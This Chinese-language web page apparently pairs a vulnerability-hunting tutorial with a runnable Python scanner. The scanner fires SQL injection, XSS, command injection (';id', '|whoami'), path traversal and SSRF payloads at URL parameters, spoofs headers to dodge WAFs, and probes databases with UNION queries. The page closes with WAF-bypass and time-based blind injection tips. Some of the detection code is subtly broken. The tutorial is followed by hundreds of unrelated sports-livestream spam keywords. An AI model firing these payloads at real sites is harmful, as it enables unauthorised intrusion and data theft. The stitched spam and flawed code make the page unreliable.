本文目录导读:

防守漏洞”的识别定位,在网络安全语境下,通常指代码审计或红蓝对抗中的弱点发现,虽然你提到了“综合实用脚本”,但纯靠脚本很难“智能化”地凭空找到逻辑漏洞,脚本的核心价值在于辅助半自动化和精准验证。
考虑到“综合实用脚本”这个需求,我为你梳理了一套从信息收集 → 攻击面分析 → 漏洞特征匹配 → 验证利用的实战方法论,并配上一个可直接运行的综合探测脚本示例。
核心识别定位思路(方法论)
防守方(或攻击方)识别漏洞的定位逻辑,核心围绕“不可信输入”和“可疑逻辑”:
- 入口点扫描:脚本先跑通所有HTTP方法(GET/POST/PUT),记录所有参数(Query、Body、Header、Cookie)。
- 污点追踪(隐式判断):针对传入参数,拼接危险的“探测Payload”(如单引号、算术表达式、特殊路径片段)。
- 回显差异分析:脚本核心逻辑是根据响应差异判断漏洞类型:
- SQL注入:输入 报错,输入
' AND '1'='1正常,输入' AND '1'='2返回空。→ 定位到注入点。 - XSS(跨站脚本):输入
<img src=x onerror=alert(1)>回显在响应体中且未编码。 - 命令注入:输入
;id或| whoami,响应中出现uid=。 - SSRF(服务端请求伪造):输入
http://127.0.0.1或file:///etc/passwd,响应中带有本地文件内容或探测到内网端口开放标志。 - 路径穿越:输入
../../../../etc/passwd,若返回root:开头内容。
- SQL注入:输入 报错,输入
综合安全探测脚本(Python)
这是一个轻量级、无需额外依赖(仅用 socket 和 urllib)的多功能探测脚本,用于快速定位常见的 Web 防守弱点。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
综合实用性防御漏洞探测脚本
用法: python vuln_probe.py <目标URL>
示例: python vuln_probe.py http://example.com/page.php?id=1
"""
import socket
import urllib.parse
import urllib.request
import ssl
import sys
import re
import time
# 忽略SSL证书错误(测试时方便)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# ========== 1. 构建Payload库 ==========
payloads = {
'SQL_Error': ["'", "\"", "1' OR '1'='1", "admin'-- -"],
'SQL_Bool': ["' AND '1'='1", "' AND '1'='2"],
'XSS': ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>', '"><svg/onload=alert(1)>'],
'Command': [';id', '|whoami', '$(id)', '`id`'],
'Path_Traversal': ['../../../../etc/passwd', '....//....//etc/passwd', '%2e%2e%2fetc/passwd'],
'SSRF_File': ['file:///etc/passwd', 'dict://127.0.0.1:11211', 'http://127.0.0.1:8080'],
}
# ========== 2. 核心探测函数 ==========
def send_request(url, data=None, method='GET'):
"""发送HTTP请求并返回原始响应"""
try:
req = urllib.request.Request(url, data=data, method=method)
# 伪装User-Agent,避免被简单WAF拦截
req.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36')
req.add_header('X-Forwarded-For', '127.0.0.1') # 测试部分基于IP的防护
with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
body = resp.read().decode('utf-8', errors='ignore')
headers = dict(resp.headers)
return resp.status, headers, body
except urllib.error.HTTPError as e:
# 404和500也有价值,说明路径或参数触发了异常
return e.code, e.headers, e.read().decode('utf-8', errors='ignore')
except Exception as e:
return None, {}, str(e)
def analyze_vuln(url, param_name, vuln_type, payload):
"""针对单一参数和Payload进行验证与汇总"""
parsed = urllib.parse.urlparse(url)
query = urllib.parse.parse_qs(parsed.query)
# 把当前参数替换为Payload
modified_query = query.copy()
modified_query[param_name] = [payload]
# 重新构建URL
new_query = urllib.parse.urlencode(modified_query, doseq=True)
modified_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
status, headers, body = send_request(modified_url)
# ---- 漏洞判定逻辑 ----
result = None
if vuln_type == 'SQL_Error':
if "SQL syntax" in body or "mysql_fetch" in body or "ORA-" in body or "syntax error" in body:
result = "错误型SQL注入"
elif vuln_type == 'SQL_Bool':
# 经典布尔盲注:对比'1'='1 和 '1'='2 的响应
if param_name:
q1 = modified_query.copy(); q1[param_name] = [payload.replace("'1'='2", "'1'='1") or payload.replace("'1'='1", "'1'='1")]
u1 = urllib.parse.urlunparse(parsed._replace(query=urllib.parse.urlencode(q1, doseq=True)))
s1, _, b1 = send_request(u1)
# 如果两种响应长度不一致,判定布尔盲注
if s1 == status and (len(b1) != len(body) or b1 != body):
result = "布尔型盲注"
elif vuln_type == 'XSS':
# 检查Payload是否未经转义回显
if re.search(r'<script>alert\(1\)</script>|onerror=alert|svg/onload', body):
result = "反射型XSS"
elif vuln_type == 'Command':
# 命令执行回显特征
if re.search(r'uid=\d+\(|\d+:\d+ when |Microsoft Windows \[Version', body):
result = "命令注入"
elif vuln_type == 'Path_Traversal':
if "root:x:0:0" in body or "root::" in body or "Users" in body:
result = "路径穿越/任意文件读取"
elif vuln_type == 'SSRF_File':
if "root:x:0:0" in body or "Docker" in body or "container" in body.lower():
result = "SSRF-文件读取"
elif status == 11211:
result = "SSRF-Memcache探测"
return status, result
# ========== 3. 主流程 ==========
def main():
if len(sys.argv) < 2:
print("[*] 用法: python vuln_probe.py <URL>")
sys.exit(1)
target_url = sys.argv[1]
parsed = urllib.parse.urlparse(target_url)
params = urllib.parse.parse_qs(parsed.query)
print(f"[*] 目标: {target_url}")
print(f"[*] 提取参数: {list(params.keys())}")
if not params:
print("[!] 注意:未发现GET参数,将尝试探测POST参数")
# 此处简化处理,可扩展为尝试暴力POST常见参数名
params = {'search': [''], 'input': ['']} # 占位符
print("[*] 开始扫描...\n")
found_vulns = []
# 对每个参数遍历所有Payload类型
for param in params.keys():
for vuln_type, payload_list in payloads.items():
for payload in payload_list:
# 稍微限速,避免打崩目标
time.sleep(0.1)
status, result = analyze_vuln(target_url, param, vuln_type, payload)
if result:
msg = f"[!!] 发现漏洞: {result} | 参数: {param} | Payload: {payload}"
print(msg)
found_vulns.append(msg)
break # 该参数该漏洞类型已找到,跳出内层循环
# ======= 数据库指纹探测(补充) =======
print("\n[*] 探测数据库指纹...")
for db_finger in ['sqlite_master', 'information_schema.tables', 'mysql.user']:
guessed_url = target_url.replace('id=', f"id=1 AND 1=2 UNION SELECT 1 FROM {db_finger}-- -")
status, _, body = send_request(guessed_url)
if status == 200 and "table" in body.lower():
print(f"[+] 疑似数据库类型: {db_finger.split('_')[0]}")
# ======= 中间件指纹 =======
print("\n[*] 分析响应头...")
status, headers, _ = send_request(target_url)
interesting_headers = ['X-Powered-By', 'Server', 'Set-Cookie']
for h in interesting_headers:
if h in headers:
print(f" [+] {h}: {headers[h]}")
print("\n[*] 扫描完成,若上方存在[!!]标志,请结合上下文人工复核(排除误报)。")
if __name__ == "__main__":
main()
代码逻辑详解(如何精准定位)
- 参数覆盖式扫描:脚本先解析出URL中的参数(如
?id=1中的id),对于每个参数,会循环替换成不同的攻击载荷,这样能精确定位到“哪个参数”存在漏洞。 - 双响应比对(布尔盲注):针对
' AND '1'='1和' AND '1'='2分别请求,如果两次响应的长度或内容不一致,说明代码中存在数据库逻辑判断,这是定位盲注的核心手段。 - 特征码匹配:
- 命令注入:匹配
uid=(Linux)或Microsoft Windows字样。 - 路径穿越:匹配
root:x:0:0(Linux passwd 文件特征)。 - XSS:正则匹配
<script>或svg/onload是否原样返回。 - 这种方法逻辑简单,主要目的是“自动化缩小范围”,最终定位还需要人工看上下文。
- 命令注入:匹配
拓展建议(实战中的“高等级”技巧)
- 绕过WAF的变种脚本:如果上述脚本发送的带攻击性Payload被拦截(如返回403或拦截页面),脚本输出会显示为 “无漏洞”,此时需要变种编码:
# 在脚本中可加入编码变种, encoded_payload = payload.replace(' ', '/**/').replace("'", "%27") - 关联“逻辑”漏洞:只靠脚本很难发现越权,建议在脚本中增加“登录状态保持”(加入Cookie),手动测试
uid替换为其他用户ID,观察响应差异。 - 基于时间的盲注探测:利用
+ IF(1=1,SLEEP(3),0),如果响应时间 >3秒,则确认条件成立,这是纯代码静态扫描无法做到的。
重要提示
该脚本仅用于授权测试或自研代码安全自查,如果针对未授权目标使用,涉及法律责任,在真实的防守工作中(如企业SRC),通常结合 Xray、SQLMap、Burp Suite Pro 的自动化扫描器,但原理与上述脚本完全一致:先定位入口,再变异探测,最后验证特征。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播